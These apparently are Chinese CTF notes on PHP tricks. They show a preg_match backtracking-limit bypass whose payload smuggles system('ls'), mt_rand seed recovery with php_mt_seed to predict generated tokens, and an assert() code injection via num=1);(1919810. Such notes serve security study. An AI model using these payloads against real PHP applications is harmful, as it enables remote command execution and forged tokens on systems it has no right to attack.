preg_match #
-
在没有修饰符s(匹配换行符)的时候。preg_match只能匹配一行
-
最大回溯次数
-
在正则匹配当中,如果存在符号 " .*? " ,那么匹配的时候便会使用非贪婪模式。非贪婪模式匹配原理简单来说就是, 在可配也可不配的情况下, 优先不匹配. 记录备选状态, 并将匹配控制交给正则表达式的下一个匹配字符, 当之后的匹配失败的时候, 再回溯, 进行匹配。最大回溯是1000000次
-
python
-
'flag'*1000000+'system("ls")'
-
就绕过了system
-
mt_seed #
设置随机数种子
PHP mt_rand安全杂谈及应用场景详解 - FreeBuf网络安全行业门户
配合软件https://www.openwall.com/php_mt_seed/php_mt_seed-4.0.tar.gz
编译
make
str1 ='Hg11vtADEm'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''
length = str(len(str2)-1)
for i in range(0,len(str1)):
for j in range(0,len(str2)):
if str1[i] == str2[j]:
result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
break
print(result)
./php_mt_seed xx xx
<?php
mt_srand(348806110);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>
assert #
断言,其写法相当于
if(...){
....
}else{
die(...)
}
assert("intval($_GET[num])==1919810") or die("error!");
总的来说还是用拼接绕过
如num=1);(1919810